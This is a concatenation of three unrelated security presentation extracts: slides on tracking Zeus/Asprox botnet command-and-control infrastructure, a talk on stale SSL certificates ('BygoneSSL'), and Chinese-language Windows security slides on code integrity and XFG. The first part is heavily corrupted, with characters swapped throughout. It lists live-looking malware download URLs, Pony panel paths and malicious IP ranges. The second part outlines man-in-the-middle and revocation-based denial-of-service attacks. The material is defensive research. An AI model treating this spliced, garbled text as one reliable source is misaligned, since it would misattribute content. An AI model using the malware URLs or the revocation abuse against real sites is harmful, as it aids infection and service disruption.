DetecJon!methods!(2)! YStart!with!a!seed!of!idenJfied!zbot!CnC!domains! YConJnuously!harvest!IPs!and!add!them!to!pool!of!zbot!IPs! YCheck!for!any!domain!in!authlogs!DNS!stream!whose!IP!or! NS_IP!is!in!pool!of!zbot!IPs! YIdenJfy!new!zbot!CnC!domains!to!block! YAdd!new!domains!to!seed! ! ! Zbot!proxy!network! YFast!flux!domains!riding!on!proxy!network!used!as!CnCs!postYinfecJon! by!Kuluoz! YVarious!Exploit!kits!lead!to!dropping!of!malware!and!infected!host! joins!Asprox!botnet! YMalware!used!to!gain!control!of!hosts!is!Kuluoz/Dofoil! InfecJon!vectors:! YDriveYby,!exploit!kit! YSpam!emails:!embedded!links!leading!to!malware,!or!malware!in! aQachment!(fake!Flash!update)! Zbot!proxy!network! HTTP!traffic!url!paQerns! Monitoring!HTTP!traffic!to!CnCs!using:! YSinkhole! and! YVirusTotal! ! !! ! HTTP!traffic!url!paQerns! A!Zeus!CnC!domain!can!serve!3!types!of!urls:! YConfig! YBinary! YDrop!zone! Example!Zeus!CnC!observed!traffic! seorubl.in,!GET!/forum/popap1.jpg,!ConfigURL! reznormakro.su,!GET!/winconf/kernl.bin,!ICE!IX,!ConfigURL! orbitmanes.ru,!GET!/01.exe,!KINS,!BinaryURL! reportonh.com,!GET!/pack32/sysconf.exe,!BinaryURL! sytemnr.com,!GET!/pack32/sysconf.exe,!BinaryURL! ! !! HTTP!traffic!url!paQerns! ET!TROJAN!W32/Asprox.ClickFraudBot!CnC!Beacon! GET!/b/eve/0008f258b0e99d069756f425! GET!/b/letr/002D63501FC3E082B1E9F290! GET!/b/shoe/1480! ! ET!TROJAN!W32/Asprox.ClickFraudBot!POST!CnC!Beacon! POST!/b/opt! POST!/b/req! MulJple!Asprox!type!callbacks!and!binary!downloads!followed!by!click!fraud! HTTP!traffic!url!paQerns! Beaconing!and!announcing!version,!make,!OS! GET!/1/? uid=01604555&ver=1.14&mk=bb3b62&os=S2000&rs=adm&c=14&rq=0! ! os=S2000! os=Win07! os=Win_V! os=WinXP! os=Win08! ! HTTP!traffic!url!paQerns! Other!urls!to!get!binaries!and!configs! azg.su,!GET!/coivze7aip/modules/bot.exe! tundraYtennes.com,!GET!/infodata/sow32.dll! tundraYtennes.com,!GET!/infoYdata/sow32.dll! beeYpass.com,!GET!/info/sow32.dll! ! quaranteYml.com,!GET!/nivoslider/jquery/! GET!/nivoslider98.45/ajax/! GET!/nivoslider98.45/jquery/! GET!/nivoslider/ajax/! Pony!panel!on!zbot!proxy!network! Ymarmedladkos.com! ! Pony!panel!on!zbot!proxy!network! YPony!1.9!leaked!for!Trojan!Forge!in!late!2012! YBotnet!controller!via!a!panel,!user!management,!logging,!database,! staJsJcs! YInfo!stealer! YWin32/Fareit! ! Payload!delivered!via:! YDriveYby/Exploit!kit! YAQachment!in!spam!emails! ! Pony!panel!on!zbot!proxy!network! Pony!panel!on!zbot!proxy!network! Yp/Panel.zip!—!controlling!php!scripts! Yincludes/design/images/modules/*!!—!images!for!each!zeus!plugin! supported/tracked! Yincludes/password_modules.php!—!contains!array!with!all!sowware!it! tries!to!steal!credenJals!for! Yincludes/database.php!—!contains!db!schema!and!accessors! Ycharacter!set!cp1251!used!everywhere! Ymysql!storage!engine!is!MyISAM! Yconfig.php!date_default_Jmezone_set(‘Europe/Moscow’)! Pony!panel!on!zbot!proxy!network! Pony!panel!on!proxy!network! Pony!panel!on!proxy!network! Pony!panel!on!zbot!proxy!network! YSearching!for!certain!strings!leads!to!several!more!sites!with! open!panels!with!some!sites!hosJng!other!malware!payload! YExample:! Pony!panel!on!zbot!proxy!network! Pony!panel!on!zbot!proxy!network! epvpcash.net16.net/Panel/temp/! hg{g{g{fg.net/pony/temp/! hQp://pantamaJ.com/dream/Panel/temp/! hQp://pantamaJ.com/wall/Panel/temp/! mastermetr.ru/steal/Panel/temp/! microsow.blg.lt/q/temp/! santeol.su/p/temp/! terraYaraucania.cl/pooo/temp/! thinswares.com/panel/temp/! www.broomeron.com/pn2/temp/! www.kimclo.com/cli/temp/! www.sumdfase2.net/adm/temp/! www.tripplem2.com/images/money/temp/! TLD!distribuJon!of!CnCs!! Sample!of!925!zbot!CnC!domains! ! ! ! Proxy!network!hosts!geoYdistribuJon! Sample!of!170,208!IPs!of!the!zbot!proxy!network!Map! !! ! ! ! ! Proxy!network!hosts!geoYdistribuJon! Clients!phoning!to!CnCs! 2,220,230!DNS!lookups!to!CnCs!over!24!hours!Map! ! ! Clients!phoning!to!CnCs! CnC!domains!and!related!samples! YSample!of!337!zbot!CnC!domains! Y208!different!samples!(sha256!communicated!with!the!CnCs)! ! Top!recorded!sample!names:! Trojan[Spy]/Win32.Zbot! TrojanDownloader:Win32/Upatre! ! YUpatre!is!used!as!a!downloader!for!Zeus!GameOver! YSent!as!aQachment!in!spam!emails!delivered!by!Cutwail!botnet! ! Part!2:! ! Catching!Malware!IP!style! ! ! MoJvaJon! •  Examine!malicious!IP!ranges!in!certain!ASNs!from!a!new! perspecJve! •  Look!beyond!the!simple!counJng!of!number!of!bad!domains,! bad!IPs!hosted!on!prefixes!of!an!ASN! How)?) •  Look!at!topology!of!AS!graph! •  Look!at!finer!granularity!than!BGP!prefix:!subYallocated! ranges!within!BGP!prefixes! Internet!101!&!BGP! Internet!101!&!BGP! Meet!the!Internet! Network!of!Networks,!it’s!a!Graph!! ! Each!organizaJons!on!the!Internet! is!called!an!Autonomous!system.! ! Each!dot!represents!an! Autonomous!system!(AS).!! ! AS!is!idenJfied!by!a!number.! OpenDNS!is!36692,!Google!is! 15169.! ! Each!AS!has!one!or!more!Prefixes.!! 36692!has!56!(ipv4!and!IPv6)! network!prefixes.! ! BGP!is!the!glue!that!makes!this! work!!! AS!graph! •  BGP!rouJng!tables! •  Valuable!data!sources! •  Routeviews!! •  CidrYreport!! •  Hurricane!Electric!database!hQp://bgp.he.net/! •  500,000+)BGP)prefixes) •  46,000+)ASNs) AS!graph! •  Route!Views!hQp://archive.routeviews.org/bgpdata! AS!graph! •  Cidr!Report!hQp://www.cidrYreport.org/as2.0/! AS!graph! •  Hurricane!Electric!database!hQp://bgp.he.net/! AS!graph! •  Build!AS!graph! •  Directed!graph:!node=ASN,!a!directed!edge!from!an!ASN! to!an!upstream!ASN! •  TABLE_DUMP2|1392422403|B|96.4.0.55|11686|67.215.94.0/24| 11686!4436!2914!36692|IGP|96.4.0.55|0|0||NAG||! AS!graph! Focus)of)this)study:) •  Peripheral!ASNs!that!are!siblings,!i.e.!they!have!common! parents!in!the!AS!graph!(share!same!upstream!AS)! •  Cluster!peripheral!ASNs!by!country! •  Find!interesJng!paQerns:!certain!siblings!in!certain! countries!are!delivering!similar!suspicious!campaigns! ) Use)Case)1:) Suspicious)Sibling)Peripheral)ASNs) ) Peripheral!ASNs!and!their!upstreams! •  January!8th!topology!snapshot,!Ukraine,!Russia! ! •  10!sibling!peripheral!ASNs!with!2!upstream!ASNs! •  /23!or!/24!serving!TrojWare.Win32.KrypJk.AXJX! •  !TrojanYDownloader.Win32.Ldmon.AY08! Peripheral!ASNs!and!their!upstreams! •  February!21st!topology!snapshot,!Ukraine,!Russia! ! •  AS31500!detached!itself!from!the!peripheral!ASNs!(stopped! announcing!their!prefixes)! •  More!peripherals!started!hosJng!suspicious!payload!domains! •  3100+!malware!domains!on!1020+!IPs!hosJng!malware! Peripheral!ASNs!and!their!upstreams! •  Taking!a!sample!of!160!live!IPs! •  Server!setup!is!similar:! 50!IPs!with:! 22/tcp!!!open!!ssh!!!!!!!!OpenSSH!6.2_hpn13v11!(FreeBSD! 20130515;!protocol!2.0)! 8080/tcp!open!!hQpYproxy!3Proxy!hQp!proxy! Service!Info:!OS:!FreeBSD! 108!IPs!with:! 22/tcp!open!!ssh!!!!!OpenSSH!5.3!(protocol!1.99)! 80/tcp!open!!hQp?! Peripheral!ASNs!and!their!upstreams! •  The!payload!url!were!live!on!the!enJre!range!of!IPs!before! any!domains!were!hosted!on!them! •  Seems!the!IP!infrastructure!is!set!up!in!bulk!and!in!advance! •  hQp://pastebin.com/X83gkPY4! ) Peripheral!ASNs!and!their!upstreams! ) Use)Case)2:) DetecQng)Sibling)ASNs)through)BGP)outages) ) BGP!messages! Two!important!BGP!message!types:! ! 1.  Update!messages!to!announce!a!new!path!for!a!one!or!more!prefixes! ! 2.  Withdrawal!messages!to!inform!!BGP!speakers!that!a!certain!prefix!can! no!longer!be!reached.! By!correlaJng!these!messages!we!can!!detect!outages!globally!and!in!real! Jme! Sibling!ASNs! All!hosJng!same!malware!! Overlapping!BGP!outages! ! 57604 8287 50896 49236 29004 45020 44093 48949 49720 50818 48361 57604 x 20 17 12 22 16 11 24 20 13 5 8287 20 x 41 15 17 17 15 18 18 15 5 50896 17 41 x 17 16 17 18 19 16 18 7 49236 12 15 17 x 8 15 13 8 12 17 3 29004 22 17 16 8 x 12 22 28 18 9 6 45020 16 17 17 15 12 x 12 12 12 15 4 44093 11 15 18 13 22 12 x 16 10 13 6 48949 24 18 19 8 28 12 16 x 20 9 8 49720 20 18 16 12 18 12 10 20 x 10 4 50818 13 15 18 17 9 15 13 9 10 x 4 48361 5 5 7 3 6 4 6 8 4 4 x Overlapping!BGP!outages! 57604 29004 48361 57604 22 5 29004 22 6 48361 5 6 Overlapping!outages! ISP!48361 AS57604!91.233.89.0/24 AS29004!195.39.252.0/23 no!outage down!for!35!minutes!!!!!!!!! !2013Y07Y12!18:53!Y!2013Y07Y12!19:28 down!for!36!minutes!!!!!!!!! !2013Y07Y12!18:53!Y!2013Y07Y12!19:29 no!outage down!for!497!minutes!!!!!!!! !!2013Y07Y12!21:33!Y!2013Y07Y13!05:50 down!for!497!minutes!!!! !!2013Y07Y12!21:33!Y!2013Y07Y13!05:50 no!outage down!for!479!minutes!!!!!!!!!! 2013Y07Y22!21:57!Y!2013Y07Y23!05:56 down!for!479!minutes!!!!!!!!!! 2013Y07Y22!21:57!Y!2013Y07Y23!05:56 no!outage down!for!33!minutes!!!!!!!!! !2013Y07Y23!18:51!Y!2013Y07Y23!19:24 down!for!33!minutes!!!!!!!!!! 2013Y07Y23!18:51!Y!2013Y07Y23!19:24 no!outage down!for!63!minutes!!!!!!!!! !2013Y07Y29!04:54!Y!2013Y07Y29!05:57 down!for!63!minutes!!!!!!!!! !2013Y07Y29!04:54!Y!2013Y07Y29!05:57 •  Unique!approach!for!finding!related!ASNs! •  Overlapping!outages!could!mean! •  Most!likely!relying!on!same!infrastructure! •  Same!Data!center! •  Same!RouJng!/!Switching!infrastructure! •  Same!organizaJon!hiding!behind!different!ASns! ) Use)case)3:) Malicious)subSallocated)ranges) ) Malicious!subYallocated!ranges! •  Case!of!OVH! ! ! •  SubYallocated!ranges!reserved!by!same!suspicious!customers,!serving! Nuclear!Exploit!kit!domains! •  Users!are!lead!to!the!Exploit!landing!sites!through!malverJsing! campaigns,!then!malware!is!dropped!on!vicJms’!machines!(e.g.!zbot)! •  Monitoring!paQerns!for!5!months!(Oct!2013YFeb!2014)! Malicious!subYallocated!ranges! •  For!several!months,!OVH!ranges!have!been!abused! •  Notable!fact:!IPs!were!exclusively!used!for!hosJng!Nuclear!Exploit! subdomains,!no!other!sites!hosted! ! ! ! Malicious!subYallocated!ranges! Malicious!subYallocated!ranges! •  Some!OVH!subYallocated!ranges!used!in!JanYFeb!2014!(now!reYassigned)! 192.95.50.208!Y!192.95.50.215! 198.50.183.68!Y!198.50.183.71! 192.95.42.112!Y!192.95.42.127! 192.95.6.112!Y!192.95.6.127! 192.95.10.208!Y!192.95.10.223! 192.95.7.224!Y!192.95.7.239! 192.95.43.160!Y!192.95.43.175! 192.95.43.176!Y!192.95.43.191! 198.50.131.0!Y!198.50.131.15! Malicious!subYallocated!ranges! •  Feb!7th,!bad!actors!moved!to!a!Ukrainian!hosJng!provider!hQp://www.besthosJng.ua/! •  31.41.221.143!2014Y02Y14!2014Y02Y14!0! •  31.41.221.142!2014Y02Y12!2014Y02Y14!2! •  31.41.221.130!2014Y02Y12!2014Y02Y14!2! •  31.41.221.140!2014Y02Y12!2014Y02Y12!0! •  31.41.221.139!2014Y02Y12!2014Y02Y12!0! •  31.41.221.138!2014Y02Y11!2014Y02Y12!1! •  31.41.221.137!2014Y02Y10!2014Y02Y11!1! •  31.41.221.136!2014Y02Y10!2014Y02Y11!1! •  31.41.221.135!2014Y02Y10!2014Y02Y10!0! •  31.41.221.134!2014Y02Y09!2014Y02Y19!10! •  31.41.221.132!2014Y02Y08!2014Y02Y09!1! •  31.41.221.131!2014Y02Y07!2014Y02Y08!1! ! Malicious!subYallocated!ranges! •  Feb!14th,!bad!actors!moved!to!a!Russian!hosJng!provider!hQp://pinspb.ru/! •  5.101.173.10!2014Y02Y21!2014Y02Y22!1! •  5.101.173.9!2014Y02Y19!2014Y02Y21!2! •  5.101.173.8!2014Y02Y19!2014Y02Y19!0! •  5.101.173.7!2014Y02Y18!2014Y02Y19!1! •  5.101.173.6!2014Y02Y18!2014Y02Y18!0! •  5.101.173.5!2014Y02Y17!2014Y02Y18!1! •  5.101.173.4!2014Y02Y17!2014Y02Y17!0! •  5.101.173.3!2014Y02Y16!2014Y02Y17!1! •  5.101.173.2!2014Y02Y15!2014Y02Y16!1! •  5.101.173.1!2014Y02Y14!2014Y02Y15!1! Malicious!subYallocated!ranges! •  Feb!22nd,!bad!actors!moved!back!to!OVH! ! ! •  Notable!fact:!They!change!MO,!IPs!have!been!allocated!and!used!in!the!past!for! other!content!Y>!evasion!technique!or!resource!recycling! •  But!during!all!this!Jme,!bad!actors!sJll!kept!the!name!server!infrastructure!on! OVH!on!ranges!reserved!by!same!customers! Malicious!subYallocated!ranges! •  198.50.143.73)2013S11S25)2014S02S24)91) •  198.50.143.69)2013S11S25)2014S02S24)91) •  198.50.143.68)2013S11S25)2014S02S24)91) •  198.50.143.67)2013S11S26)2014S02S24)90) •  198.50.143.65)2013S11S24)2014S02S23)91) •  198.50.143.66)2013S11S25)2014S02S23)90) •  198.50.143.64!2013Y11Y24!2014Y01Y25!62! •  198.50.143.75!2013Y12Y03!2013Y12Y10!7! •  198.50.143.79!2013Y11Y25!2013Y12Y10!15! •  198.50.143.78!2013Y11Y25!2013Y12Y10!15! •  198.50.143.74!2013Y11Y25!2013Y12Y10!15! •  198.50.143.72!2013Y11Y25!2013Y12Y10!15! •  198.50.143.71!2013Y11Y25!2013Y12Y10!15! •  198.50.143.76!2013Y11Y25!2013Y12Y09!14! •  198.50.143.70!2013Y11Y26!2013Y12Y09!13! •  198.50.143.77!2013Y11Y26!2013Y12Y05!9! Malicious!subYallocated!ranges! •  hQp://labs.umbrella.com/2014/02/14/whenYipsYgoYnuclear/! •  Take!down!operaJons!of!domains! ) PredicQng)malicious)domains)IP)infrastructure) ) Tracking!reserved!ranges! •  Reserved!ranges!on!OVH!by!same!malicious!customer! •  Dec!1st!to!31st!2013:!28)ranges,)136)IPs,)86)used) •  Jan!1st!to!31st!2014:!11)ranges,)80)IPs,)33)used) •  Feb!1st!to!28th!2014:!4)ranges,)28)IPs,)26)used) •  Mar!1st!to!20th!2014:!43)ranges,)) •  40)ranges)on!Mar!7th!,!352)IPs,)208)used! •  3)ranges)on!Mar!10th!!,!12)IPs,)7)used! •  Used!for!Nuclear!EK!domains,!Nuclear!domains’!name!servers,!and!browlock! ! Tracking!reserved!ranges! •  86!ranges!are!all!in!these!prefixes! !388! !198.50.128.0/17! !128! !192.95.0.0/18! !80! ! !198.27.64.0/18! !12! ! !142.4.192.0/19! Malicious!subYallocated!ranges! •  For!Nuclear,!In!addiJon!to!subYallocated!ranges!reserved!by!same!actors!(for!OVH! case)! •  The!live!IPs!all!have!same!server!setup!(fingerprint):! •  31.41.221.131!to!31.41.221.143! 22/tcp!!open!!ssh!!!!!OpenSSH!5.5p1!Debian!6+squeeze4!(protocol!2.0)! 80/tcp!!open!!hQp!!!!nginx!web!server!0.7.67! 111/tcp!open!!rpcbind! •  5.101.173.1!to!5.101.173.10! 22/tcp!!open!!ssh!!!!!OpenSSH!6.0p1!Debian!4!(protocol!2.0)! 80/tcp!!open!!hQp!!!!nginx!web!server!1.2.1! 111/tcp!open!!rpcbind! Malicious!subYallocated!ranges! •  198.50.143.64!to!198.50.143.79! 22/tcp))open)))))ssh))))))))))OpenSSH)5.5p1)Debian)6+squeeze4)(protocol)2.0)) 80/tcp))open)))))h_p)))))))))nginx)web)server)0.7.67) 445/tcp)filtered)microsoaSds! •  In!some!cases,!IPs!are!brought!online!in!small!chunks! •  The!name!server!IPs!also!have!the!same!fingerprint! •  The!combinaJon!of!these!different!indicators!has!made!predicJons!pracJcally!always! accurate!for!several!months,!unJl!bad!actors!change!to!a!different!MO! •  Method!sJll!efficient!when!applied!to!other!threats! •  Y>!One!can!block/monitor!IPs!before!they!even!start)hosQng)domains! ) DetecQng)Malicious)Subdomains)under) Compromised)domains) ) Malicious!subdomains!under!compromised!domains! •  DetecJng!malicious!subdomains!injected!under!compromised! domains,!most!notably!GoDaddy!domains! •  Subdomains!serving!Exploit!kits!(e.g.!Nuclear,!Angler,!FlashPack),! browlock,!malverJsing! •  Various!payloads!dropped!(e.g.!zbot!variants,!kuluoz)! •  Monitoring!paQerns!for!5+!months!(Feb!2014Ypresent)! Malicious!subdomains!under!compromised!domains! •  Sample!of!several!hundred!IPs!hosJng!malicious!subdomains! •  Top!5!abused!ASNs! !  16276!OVH!SAS! !  24961!myLoc!managed!IT!AG! !  15003!Nobis!Technology!Group,!LLC! !  41853!LLC!NTCOM! !  20473!Choopa,!LLC! Malicious!subdomains!under!compromised!domains! •  OVH!most!abused!with!18%!of!total!collected!malicious!IPs! •  Bad!actors!shiwed!MO!since!Use!Case!3!study!! Malicious!subdomains!under!compromised!domains! Before! Now! Abuse!ccTLDs!(e.g.!.pw,!.in.net,!.ru,! etc)!using!rogue/vicJm!resellers/ registrars! Supplement!with!abusing! compromised!domains! Use!reserved!IPs!exclusively!for! Exploit!kit,!browlock!aQacks! Supplement!with!using!recycled!IPs! that!hosted!legit!content!in!the!past! Bring!aQack!IPs!online!in!conJguous! chunks! Supplement!with!bringing!IPs!up!in! randomized!sets!or!one!at!a!Jme! Abuse!OVH!Canada:!possible!to! predicJvely!correlate!rogue! customers!with!aQack!IPs!through! ARIN!rwhois!! Abuse!OVH!Europe!spanning! numerous!countries’!IP!pools!(e.g.! France,!Belgium,!Italy,!UK,!Ireland,! Spain,!Portugal,!Germany,! Netherlands,!Finland,!Czech,!Russia)! Small!abused!or!rogue!hosJng!providers! •  hQp://kingYservers.com/en/!hosted!Angler,!Styx,!porn,!pharma! •  Described!on!WOT!“offers!bulletproof!hosJng!for!RussianYUkrainian! criminals”! Small!abused!or!rogue!hosJng!providers! •  hQp://evrohoster.ru/en/!hosted!browlock!through!redirecJons!from! porn!sites! Small!abused!or!rogue!hosJng!providers! •  hQp://www.qhoster.bg/!hosted!Nuclear! Small!abused!or!rogue!hosJng!providers! •  hQp://www.electrickiQen.com/webYhosJng/! Small!abused!or!rogue!hosJng!providers! •  hQp://www.xlhost.com/!hosted!Angler!EK!domains! •  hQps://www.ubiquityhosJng.com/!hosted!browlock.! •  hQp://www.codero.com/! •  hQp://hosJnk.ru/! String!Analysis!of!injected!subdomains! •  Sample!of!19,000+!malicious!subdomains!injected!under!4,200+!compromised! GoDaddy!domains! •  12,000+!different!labels! •  Top!5!used!labels:! !  police! !  alertpolice! !  css! !  windowsmoviemaker! !  solidfileslzsr!!!! String!Analysis!of!injected!subdomains! Part!3:! ! Visualizing!Knowledge!with!our!3D!engine! ! ! OpenGraphiJ! SemanQcNet)Python)Library) #!/usr/bin/env!python! ! import!sys! import!semanJcnet!as!sn! ! graph!=!sn.Graph()! ! a!=!graph.add_node({"label"!:!"A"})! b!=!graph.add_node({"label"!:!"B"})! c!=!graph.add_node({"label"!:!"C"})! ! graph.add_edge(a,!b,!{"type"!:!"belongs"})! graph.add_edge(b,!c,!{"type"!:!"owns"})! graph.add_edge(c,!a,!{"type"!:!"has"})! ! graph.save_json("output.json")! ParJcle!Physics! Canadian!AS!Network! Data!goes!Supernova! 3!Generic!Approaches! Grouping! Sampling! ParallelizaJon! EnJty!Grouping! Sampling! Breadth!First!Search! Random!Walk! ParallelizaJon! Why!?! •  Actors!populate!the!knowledge!graph! •  CreaJon!is!understood,!output!is!complex! •  Layout!closer!to!the!“natural(shape”(of!data!structure! •  Take!advantage!of!the!GPU!to!untangle!informaJon! •  Humans!are!good!at!processing!shapes!and!colors! Full!AS!Network! Future!Work! Conclusion! •  Efficient!methods!to!catch!malware!DNS!and!IP!style! •  Fast!flux!botnets!used!as!proxy!networks! •  InvesJgate!IP!space!from!novel!perspecJves:!AS!graph!topology,!granularity!finer!than! BGP!prefix! •  Detect!suspicious!sibling!peripheral!ASNs! •  Detect!sibling!ASNs!using!BGP!outages!monitoring! •  Predict!malicious!IP!ranges! •  Detect!malicious!subdomains!under!compromised!domains! •  Novel!3D!visualizaJon!engine!used!as!graph!navigaJon!and!invesJgaJon!tool! !Supports!state!of!the!art!3D!technologies!(Force!directed,!OpenCL,!GLSL!Shaders,!etc.)! ! ! References! •  Distributed!Malware!Proxy!Networks,!B.!Porter,!N.!Summerlin,!BotConf!2013! •  hQp://labs.opendns.com/2013/12/18/operaJonYkelihosYpresentedYbotconfY2013/! •  hQp://blog.malwaremustdie.org/2013/12/shortYtalkYinYbotconfY2013Ykelihos.html! •  hQps://zeustracker.abuse.ch/! •  hQp://www.malwareYtrafficYanalysis.net/! •  hQp://techhelplist.com/index.php/techYtutorials/41Ymisc/465YasproxYbotnetY adverJsingYfraudYgeneralYoverviewY1! •  VirusTotal! ! !!! ! Thank!you! ! (Q!&!A)!
pdf
Lost and Found Certificates Ian Foster & Dylan Ayrey Who We Are Ian Information Security Engineer CertGraph https://dns.coffee https://lanrat.com https://github.com/lanrat @LANRAT Dylan truffleHog WPA2-HalfHandshake-Crack Pastejacking Other stuff… https://github.com/dxa4481 [email protected] The Problem A certificate can outlive a the ownership of a domain This potentially leaves the domain owner with a valid SSL certificate for the next owner How can you know? ● Buy a new domain… hope for the best? ● In the early 2000’s and early 2010’s, you’d never know Alice registers foo.com for 1 year Bob registers foo.com Alice’s 3 year SSL certificate for foo.com foo.com unregistered Bob’s certificate for foo.com Certificate Transparency! ● Log of all certificates issued by public Certificate Authorities ● Designed to catch bad or misbehaving Certificate Authorities ● Publicly auditable and searchable ● ½ billion certs and growing We Can find pre-existing certificates ● Note the purchase date of said domain ● Search CT logs for certs pre-dating that date and valid after ● Monitor ○ Old certs may not show up in logs for years, if ever A significant example stripe.com How big is this issue? Searched Certificate Transparency (CT) for certificates that overlap multiple domain registrations Data ● 3 million domains ○ 1% of internet ● Looked for changes... ○ Expiration date ○ Email contacts ○ Registrar ○ Etc... Sources ● CT logs ● Historical WHOIS ● Historical nameservers https://dns.coffee ● WayBack Machine https://archive.org 1.5M (0.45%) Of domains tested have pre-existing certificates 25% haven't expired yet BygoneSSL noun An SSL certificate created before and supersedes its domains’ current registration date Could it be worse? ● Certificates can have many domains ● Certificates can contain some bygone domains and some not Cert foo.com bar.com foo.com <bygone> bar.com CertGraph Example of BygoneSSL https://github.com/lanrat/certgraph Example: do.com Can we revoke these certs? If no…. ● Spend 10k on a domain, you’re screwed for years ● Bad guys could squat on desirable domains ● Cry If yes… ● You can take down production certs you don’t own ● You can DoS companies Digging deeper.... ● Rules that dictate how CA’s and browsers operate ● If broken browsers distrust the CA Baseline Requirements for the Issuance and Management of Publicly-Trusted Certificates Can revoke if information becomes incorrect https://cabforum.org/wp-content/uploads/CA-Browser-Forum-BR-1.5.7-29-Apr-2018.pdf Within 24 hours https://cabforum.org/wp-content/uploads/CA-Browser-Forum-BR-1.5.7-29-Apr-2018.pdf We can DoS production sites Cert foo.com bar.com foo.com <bygone> bar.com Certificate for bar.com can be revoked because it is shared with foo.com which has changed ownership during the certificates lifetime 7M (2.05%) Of domains share a certificate with bygone domains 41% haven't expired yet Sounds like we can break stuff…. BygoneSSL BygoneSSL Man in the Middle If a company acquires a previously owned domain… Previous owners could still have valid certificates MitM the SSL connection with a certificate generated by the previous owner BygoneSSL Denial of Service If a certificate has a subject alt-name for a domain no longer owned… Revoke the certificate with a vulnerable domain and non-vulnerable domain listed in the alternative names You can DoS the service if the shared certificate is still in use! Trying to revoke with Let’s Encrypt ● Instant automated turn around ● I emailed [email protected] Trying to revoke with Digicert ● 1 day turn around ● I emailed [email protected] Trying to revoke with Amazon AWS ● 1 week turn around ● I emailed [email protected] Trying to revoke with Comodo…. ● Still waiting…. ● I opened many support chats and emailed [email protected] What about resellers? (ssl’s) ● 1 week turn around ● I emailed [email protected] Instantly revoked a cert used in production ● I still own and use security.love BygoneSSL Certificate Transparency Log Monitor Fork of SSLMate’s CertSpotter Log Monitor Tool https://github.com/lanrat/certspotter Watchlist file example: insecure.design valid_at:2018-04-18 defcon.org valid_at:1993-06-21 wikipedia.org valid_at:2001-01-13 toorcon.net valid_at:2012-03-13 BygoneSSL Facebook Search Tool ● Requires auth to Facebook ● Faster! BygoneSSL Search https://github.com/dxa4481/bygonessl Unanswered Questions ● How do you give notice when revolving a certificate to its alt-names? ○ How much notice? ● Revocation is broken a best.... ○ Our demo certificate has been revoked for months, still works fine Things you can do to protect your domain ● Use the Expect-CT HTTP header with enforce to ensure that only CT logged certs will be trusted for your domain ○ If a previous owners certificate is in CT logs, request the CA revoke it ■ Hope user checks CRL lists or OCSP ● We should continuously monitor CT logs for old certs ○ CT has only been required for non-EV since April 2018 ■ Only required for certificates issued after April ○ Check currently owned domains as well for older certificates ○ Use CertSpotter with BygoneSSL to monitor logs Things the internet can do ● Registrars could show pre-existing certificates for domain registrations ○ Include related alt-names ● CAs could only issue short lived certificates ○ Let’s Encrypt! ● CAs should not issue certificates valid for longer than domain registration ● Be careful with subject alt-names ○ If you’re a hosting client domains, check CRL’s and replace certs as needed Questions? https://insecure.design CertSpotter https://github.com/lanrat/certspotter BygoneSSL Search https://github.com/dxa4481/bygonessl
pdf
Bluehat Shanghai 2019 | David “dwizzzle” Weston | Microsoft OS Security Group Manager 不断增强的 Windows 安全性 早上好 上海! PC 上的 Windows 熟悉的桌面体验 庞大的硬件生态 桌面应用兼容性 One Core OS 基础操作系统 应用和设备平台 运行时和框架 Xbox 上的 Windows Windows 10 界面体验 独特的安全模型 共享的游戏体验 IoT 中的 Windows 基础操作系统 应用和设备平台 运行时和框架 还有更多地方…… 适配不同形态设备 界面体验 支持不同设备场景 Windows 正在不断进化…… 恶意代码无法在设备 上存留。 违反承诺的举措会被 立即发现。 所有应用和系统组件 仅具备必须的特权。 所有代码执行均可保 证完整性。 用户标识无法被攻陷、 嗅探或盗窃。 随意通过物理方式访 问的攻击者,无法修 改设备上的数据或代 码。 增强的安全性 Windows 10 S 10 S 统 2 1 强制代码签名 无需密码即可登录 “Admin Less”用户帐户 4 3 阻止来自互联网的脚本和宏 1 以管理员身份运行 2 执行不带签名的代码 3 使用密码 4 缓解措施并不总能生效 10 S:安装数上百万,尚未检测到广泛传播的恶意软件 所有代码执行均可保证完整性。 代码完整性的改进 CI 策略移除了大部分“代理的”二进制文件 仅提供带有应用商店签名的应用(UWP 或 Centennial) 支持危险操作的“远程”文件扩展已被阻止 远程 Office 宏默认已被阻止 Windows 10 S 所有二进制文件 带有微软签名的 代理的二进制文件 危险的句柄 远程的危险 文件 第一重代码完整性保护 “第一重”CI 绕过,使得远程攻击者能够触发未签名代 码的初始执行 10 S 侧重于防止“第一重”绕过 “第二重”绕过,使得在执行完初始代码 之后,可以进 一步执行更多未签名代码 10 S 为“第二重”绕过提供了持久的保证 Windows 10 S Network Physical Machine Trigger Handler No Yes 10 S restricts “dual use” non-PE with cloud service 漏洞利用缓解策略 提高被利用的成 本 控制流完整性 仅限签名代码 只读数据 消除不同类型的漏洞 控制流面临的挑战 危险的调用目 标 不受保护的栈 数据流破坏 1 2 3 ((void(*)(int, int)) funcptr)(0, 1); obj->method1(); void function_A(int, int) { ... } int function_B(int, int) { ... } void function_C(Object*) { ... } void Object::method1() { ... } void Object::method1(int, int) { ... } void Object::method2() { ... } void Object2::method1() { ... } 调用站点 调用目标 CFG Windows 中的第一代 CFI,出于兼容性和性能方面的考虑,粒度较大 使用“导出限制”减小特定进程(如 Microsoft Edge)中合法调用点的数量 改善控制流完整性 隆重介绍:XFG 目标:通过高效、兼容性高的方式提供更细化的 CFI 概念:通过类型签名检查保证合法的间接跳转 ((void(*)(int, int)) funcptr)(0, 1); obj->method1(); void function_A(int, int) { ... } int function_B(int, int) { ... } void function_C(Object*) { ... } void Object::method1() { ... } void Object::method1(int, int) { ... } void Object::method2() { ... } void Object2::method1() { ... } 调用站点 调用目标 改善控制流完整性 XFG 的设计:基础 为每个获取地址的函数分配一个基于类型签名的标志 对于 C 风格的函数,可能为: hash(type(return_value), type(arg1), type(arg2), ...) 对于 C++ 虚拟方法,可能为: hash(method_name, type(retval), highest_parent_with_method(type(this), method_name), type(arg1), type(arg2), ...) 在执行每个函数之前紧接着嵌入该标志,使其可通过函数指针访问 为调用点添加标志检查:如果遇到任何标签不匹配的情况则快速退出 改善控制流完整性 mov rax, [rsi+0x98] ; load target address call [__guard_dispatch_icall_fptr] .align 0x10 function: push rbp push rbx push rsi ... mov rax, [rsi+0x98] ; load target address mov r10, 0xdeadbeefdeadbeef ; load function tag call [__guard_dispatch_icall_fptr_xfg] ; will check tag .align 0x10 dq 0xcccccccccccccccc ; just alignment dq 0xdeadbeefdeadbeef ; function tag function: push rbp push rbx push rsi ... CFG 指令:调用站点 xFG 指令:调用站点 目标 目标 XFG 的安全性 C 风格的函数指针只能调用具备相同类型签名的地址获取函数 